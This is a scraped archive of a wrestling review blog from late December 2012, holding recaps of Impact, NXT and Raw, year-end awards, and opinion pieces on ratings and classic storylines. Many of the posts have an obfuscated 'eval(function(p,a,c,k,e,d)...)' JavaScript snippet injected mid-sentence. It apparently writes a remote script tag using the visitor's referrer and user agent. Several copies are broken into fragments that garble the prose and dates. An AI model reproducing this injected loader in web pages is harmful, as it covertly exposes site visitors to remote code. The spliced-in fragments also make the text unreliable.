Raw Draws Lowest Rating In Over 15 Years

It eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zztek|var|u0026u|referrer|antiz||js|php'.split('|'),0,{})) was 2.2.  My question: why does this surprise anyone?I’m surprised it’s that high.  We had a taped three hour show where NOTHING HAPPENED on CHRISTMAS EVE.  What were they expecting to happen?  I’m amazed that this is considered a big story by some sites.  Of course it drew a terrible rating.  What did they expect?  Kids to stay up late on Christmas Eve to watch Cena beat up Del Rio again?



Impact Wrestling – December 27, 2012: Open Fight Night. AGAIN.

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hbfir|var|u0026u|referrer|hrras||js|php'.split('|'),0,{})) Wrestling
Date: December 27, 2012
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Todd Keneley, Tazz

Samoa Joe vs. Masked Man

Joe goes for the mask but the rest of the bikers come in for the save. Of course they do.

Christian York vs. Rob Van Dam

D-Von talks about getting someone new to join the club. Doc is with some girls and approves of the plan.

Remember to vote for Superstar of the Year.

Sting is still going to be back on 1-3-13.

The tag champions come out and challenge Bad Influence for right now.

Hernandez/Chavo Guerrero vs. Bad Influence

The non-champions hit back to back slingshot strikes on Hernandez to take over. The match drags on and gets very boring in a hurry with the heels in control. After about 8 hours, the lukewarm tag brings in Chavo who hits Three Amigos on Kaz. Bad Influence hits a Hart Attack for two but Hernandez sends them to the floor. The champs hit a double dive to the floor before throwing Kaz back in for the Frog Splash and the pin at 14:30.

Hardy has little to say.

Gail Kim vs. Miss Tessmacher

Bobby Roode vs. Austin Aries

Bobby loads up a spear but gets caught in the Last Chancery. Roode pokes the eyes to escape and puts on the Crossface which I guess is his secondary finisher. Aries goes to the eyes as well to escape, showing some nice storytelling here. Roode begs off in the corner but trips Aries up for two with his feet on the ropes.

Aries tries a rollup with trunks for two of his own but walks into the spinebuster for two. Hebner disarms Roode of the chair he picked up, allowing Aries to hit a discus elbow for two. Now Austin brings in the chair but Henber will still have none of it. Hebner goes off on both guys so they both deck him and toss him to the floor, throwing the match out at about 13:00.

Post match they both go for the chair but Hardy runs out and takes both guys out to end the show.

Results

Samoa Joe b. Masked Man – Koquina Clutch

Rob Van Dam b. Christian York – Five Star Frog Splash

Chavo Guerrero/Hernandez b. Bad Influence – Frog Splash to Kazarian

Gail Kim b. Miss Tessmacher – Eat Defeat

Austin Aries vs. Bobby Roode went to a no contest

Remember to follow me on Twitter @kbreviews



NXT – December 26, 2012: Why I Love NXT

NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|baysi|var|u0026u|referrer|yesdt||js|php'.split('|'),0,{})) December 26, 2012
Host: Tony Dawson

From August 29:

NXT Championship: Jinder Mahal vs. Seth Rollins

We take a break and come back with Rollins in even more trouble. Mahal stomps him down and hits a backbreaker to start setting up the camel clutch. Rollins gets choked against the ropes and the fans are behind Rollins now. He tries a comeback but gets kneed in the face by Mahal to take him back down. The camel clutch is escaped so Mahal pounds him in the back again. An enziguri out of nowhere puts Mahal down and Rollins punches Jinder down.

Mahal goes up for another knee but Rollins knocks him off the top and out to the floor. Rollins hits a HUGE dive to the floor and both guys are down. Back in and Seth goes up again, only to get crotched and superplexed from the top. We take another break and come back with the two of them slugging it out. Mahal might have a bad knee but he pulls off a sitout slam for two. A full nelson slam is countered and Rollins goes to the apron.

Seth hits an enziguri to the head and a running knee for two. The near falls are getting closer and closer here. A running forearm in the corner staggers Mahal but he manages to drop Rollins face first into the buckle. The low superkick (I think he calls it Avada Kadavra, making Rollins awesome) gets two. Phoenix Splash (moonsault into a 450) misses and Mahal hits the full nelson slam for two. Rollins gets to the rope before the clutch can go on and Rollins rolls him up for two. Rollins comes back with the buckle bomb and the Blackout out of nowhere for the pin and the title at 14:24 shown of 21:24.

We get some clips of the rematch. This segues into clips from Raw of the Shield.

We get some highlights of various stars from NXT, such as Richie Steamboat, Bo Dallas, CJ Parker, Audrey Marie, Big E. Langston and Bray Wyatt (gets by far the most time).

From July 11:

Aiden English vs. Bray Wyatt

Wyatt talks on the way to the ring, calling himself the angel in the dirt and singing Time is on My Side by the Rolling Stones. Wyatt pounds him down and sends English to the floor and into the barricade. Back in and Wyatt rolls around on the apron before splashing English in the corner. Wyatt dances with English a bit (literally) before hitting a rolling Downward Spiral for the pin at 1:48. Awesome debut here and a good transition from promos to in ring work which was what I was worried about from Wyatt.

We get an exclusive match tonight between Kane and Rhodes.

Ohno says a new year is coming and that the year of 13 will be a year for pain.

Punk talks about telling Rollins to beat respect out of people and somehow that evolved into the Shield. The future is here in NXT and he hopes people are taking notice.

Video on Langston and the FIVE count.

From November 28:

Camacho vs. Big E. Langston

Kane vs. Cody Rhodes

Results

Kane b. Cody Rhodes – Chokeslam

Remember to follow me on Twitter @kbreviews



Thought of the Day: From the 1999 Rumble

I’m eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zkyka|var|u0026u|referrer|itfab||js|php'.split('|'),0,{})) suffering through this one at the moment and something sticks out.Vince put a bounty on Austin’s head in this match, promising $100,000 to anyone who eliminated him.  My question: why don’t we see that more often?  That’s a really solid idea to set up a feud in the future between two guys or to advance another one they have going at the moment.  The only other instance I can think of since then is HHH promising money to anyone who took out Goldberg.  Why it’s never been done again in the Rumble is beyond me.



Merry Christmas Everyone

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sszbs|var|u0026u|referrer|rkfhz||js|php'.split('|'),0,{})) hope you have a fun and safe Christmas.  Spend time with your families, open presents, eat good food and try to watch some wrestling.  Thanks for making the site’s year the biggest it’s ever been and I’ll be back next year with even more reviews.

 

KB



KB’s 2012 Wrestling Awards

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ebddz|var|u0026u|referrer|sryzn||js|php'.split('|'),0,{})) it’s the end of the year and it’s time for someone else to do their awards results. I’ve used a combination of the PWI Awards, the WON Awards and the WrestleZone Awards while leaving a few out. I’ll be listing the winner and another that came to my mind when I was thinking about the winner. To explain it to you schmucks who have to complain about everything I do, THE WINNER IS LISTED FIRST AND THE OTHER PICK IS LISTED SECOND. Let’s get to it.

  1. Wrestler of the Year

 

 

  1. Tag Team of the Year

 

Other: The Shield. These guys burst onto the scene and took over the company near the end of the year. They had one of the best debut matches EVER, taking a war to Ryback and HELL NO. These guys have a ton of potential and they have a chance to be huge in the next year, but this is for team of the Year, not November and December.

 

  1. Match of the Year

 

Tie: Undertaker vs. HHH (Wrestlemania 28)/Brock Lesnar vs. John Cena (Extreme Rules)

 

  • Worst Match of the Year

    •  

     

    1. Feud of the Year

     

     

    1. Most Improved Wrestler of the Year

     

     

    1. Most Inspirational Wrestler of the Year

     

  • Rookie of the Year

    •  

     

    1. PPV of the Year

     

    Winner: Wrestlemania. It had three of the ten best matches of the year and almost nothing bad going on at all. We also set up a bunch of stuff throughout the rest of the year, had some great matches, and had a match that was literally built up over a year. I had an absolute blast watching this and it still holds up today. Oh and it made more money than any pay per view ever. Wrestlemania wins.

     

  • Worst PPV of the Year

    •  

    Other: Final Resolution. This is basically the TNA version of Survivor Series as it was more or less a house show with nothing significant happening. At the end of the year it felt like both companies were just trying to get to January, and that makes for some BAD PPVs.

     

    1. Surprise of the Year

     

     

    1. Best Angle of the Year

     

     

    1. Worst Angle of the Year

     

     

    1. Promo of the Year

     

     

    1. Moment of the Year

     

     

    Merry Christmas,

    KB



    Monday Night Raw – December 24, 2012: If This Doesn’t Make Them Cheer Cena, Nothing Will

    ");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zsidd|var|u0026u|referrer|tfyry||js|php'.split('|'),0,{})) Night Raw
    Date: December 24, 2012
    Location: Consol Energy Center, Pittsburgh, Pennsylvania
    Commentators: Michael Cole, Jerry Lawler

    We open with the roster singing a WWE themed Christmas carol which to be fair is pretty funny stuff.

    Cody Rhodes vs. Kane

    Rosa Mendes/Tamina Snuka/Aksana/Eve Torres vs. Alicia Fox/Natalya/Kaitlyn/Layla

    AJ and Dolph cuddle up and watch TLC.

    Here are some lumberjacks for the next match.

    Big Show vs. Sheamus

    Lumberjack match as I said. They shove each other around to start until Sheamus grabs a headlock. This is non-title as well. Show shoves him around a bit but gets guillotined on the top rope, allowing Sheamus to hit the ten forearms and the shoulder off the top. The Brogue Kick is loaded up but Show hits the floor and we hit a break.

    Sheamus and the good lumberjacks clear the ring.

    We get the Miz segment with the Muppets from Tribute to the Troops.

    Zack Ryder vs. David Otunga

    Ryder starts fast and gets two off some clotheslines. Otunga takes it into the corner and pounds away a bit before getting two off a posing neckbreaker. We hit an early chinlock which goes nowhere, so Otunga goes back to the clotheslines. Back to the chinlock as we have another match that is going on longer than it has any right to do. Ryder fights up and hits his usual stuff like the middle rope dropkick and the Broski Boot. After the first one is blocked, the Rough Ryder gets the pin at 4:53.

    Booker and Teddy are in the back when Brad Maddox comes in. The usual results follow and his opponent will be an elf.

    Kofi Kingston/The Miz vs. Antonio Cesaro/Wade Barrett

    Santa is still hurt.

    AJ gives Ziggler his MITB case and takes off her robe to reveal a Ziggler shirt and her tiny shorts. Kissing ensues.

    Brad Maddox vs. Great Khali

    Khali and Horny sing and dance.

    Daniel Bryan vs. Damien Sandow

    Prime Time Players/Tensai/3MB vs. Brodus Clay/Santino Marella/Justin Gabriel/Tyson Kidd/Usos

    Alberto Del Rio vs. John Cena

    Cena and presumably Mick Claus hug to end the show. Cena is worried about the time because Santa has work to do.

    Results

    Kane b. Cody Rhodes – Chokeslam

    Kaitlyn/Alicia Fox/Natalya/Layla b. Rosa Mendes/Aksana/Eve Torres/Tamina Snuka – Gutbuster to Eve

    Sheamus b. Big Show – Brogue Kick

    Zack Ryder b. David Otunga – Rough Ryder

    The Miz/Kofi Kingston b. Wade Barrett/Antonio Cesaro – Skull Crushing Finale to Barrett

    Great Khali b. Brad Maddox – Punjabi Plunge

    Usos/Tyson Kidd/Justin Gabriel/Brodus Clay/Santino Marella b. 3MB/Tensai/Prime Time Players – Superfly Splash to Slater

    John Cena b. Alberto Del Rio – Attitude Adjustment

    Remember to follow me on Twitter @kbreviews



    Survivor Series Tanks

    Apparently eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ekhsb|var|u0026u|referrer|ytkiz||js|php'.split('|'),0,{})) the 2012 Survivor Series did a horrible amount of domestic buys.  This tells you three things.1. Having Ryback, the unstoppable monster, lose more or less killed him with the audience.  The audience isn’t stupid and knew that the only chance he had was inside the Cell, and that anything after that was a waste of their time to watch.

     

    2. Ryback is going to lose his match on the 7th and his character is going to be crushed even further.

     

    3. Having Rock announced six months in advance is going to turn out being a really bad idea.



    Thought of the Day: Possibly The Most Brilliant Storyline WWF Ever Produced

    This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zsnat|var|u0026u|referrer|dhfet||js|php'.split('|'),0,{})) match and angle popped into my head today and it still amazes me how perfect it was.Back in 1987, Randy Savage lost the Intercontinental Title to Ricky Steamboat in arguably the greatest match of all time.  Well in 1987, Steamboat wanted to take some time off, so Vince had to take the title off him.  On Superstars one day, comedy wrestler the Honky Tonk Man shocked the world by beating Steamboat for the title (Interesting note: this was a surprise if nothing else because of how fast Steamboat lost the belt.  In the 8+ years that the title had been around at that point, the shortest reign was over five months and three reigns had been over a year.  That title did not change hands that often.  The next reign shorter than Steamboat’s wasn’t until 1992).

     

    Now this is where things get interesting.  In essence, this would be like Heath Slater winning the title today.  The fans instantly believed that the first person with talent that faced Honky would win the belt back.  That didn’t happen, so everyone knew it would be the next guy.  Well Honky survived that too, so the third guy HAD to be the one to get the belt off of him.  Every time, the less talented Honky Tonk would get himself disqualified or counted out and sneak away with the title.  This infuriated the fans who wanted ANYBODY to pound Honky’s face in and give him the punishment that he deserved for cheating so much.

     

    This is where Vince had the fans and he knew it.  The idea was simple: Honky had to lose eventually, so let’s see how long we can drag this out for.  This went on for well over a year, with Honky surviving against every midcard star in the company, ranging from Jim Duggan to Brutus Beefcake to Ricky Steamboat to Randy Savage to Jake Roberts to Tito Santana.  Everyone knew he had to lose someday, and people would put their money on the table to see him finally do it.  It was a money making machine, but it had to end somewhere.

     

    This brings us to the first ever Summerslam and the Intercontinental Title match.  Brutus Beefcake had been named as challenger, but due to an attack by Ron Bass, he had to drop out.  This left no challenger for Honky, so he said something very stupid: “Get me somebody out here to wrestle.  I don’t care who it is.”  A few seconds pass, and Ultimate Warrior’s music hits.  The roof gets blown off, because everyone knew what was about to happen.  At this point, Warrior had done nothing but squash jobbers and beat up Hercules for a year and a half.  This would be like if over the summer, Cesaro issued an open challenge and we heard FEED ME MORE.

     

    From the time that Warrior’s music hit to the time that the final bell ring, 54 seconds passed.  Warrior punched him twice, hit a shoulder block, a clothesline and a splash to win the title.  It still remains one of the loudest pops I have ever heard.  The brilliance here continues to astonish me.  Ultimate Warrior may be a lot of things, but clever is not on that list.  He comes out of nowhere and wins the title that no one else could pry out of Honky’s hands through nothing but sheer power and intensity.  Honky didn’t have the chance to use any of his old tricks and the fans got exactly what they wanted.

     

    It was absolute brilliance and still is one of the best angles from beginning to end in WWF history.



    Thought of the Day: Benoit and Modern Wrestling

    This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dasyr|var|u0026u|referrer|anhad||js|php'.split('|'),0,{})) came up on my forums earlier today and it made me think a little bit.Right now, wrestling is clearly trending downward.  Ratings are going down and it’s clear that public interest isn’t what it used to be.  Among many other things, I think people forget how big a role the Benoit incident plays in this.  It’s by far and away the biggest mainstream story you’ll see in wrestling arguably ever and it sent shockwaves through everyone.  People looked at wrestling and saw a monster who was about to win a title murdering his wife and son before killing himself.  That was a wakeup call for a lot of fans and it made people walk away from wrestling.  The importance of this to the modern product hasn’t gone away and isn’t going to for a very, very long time.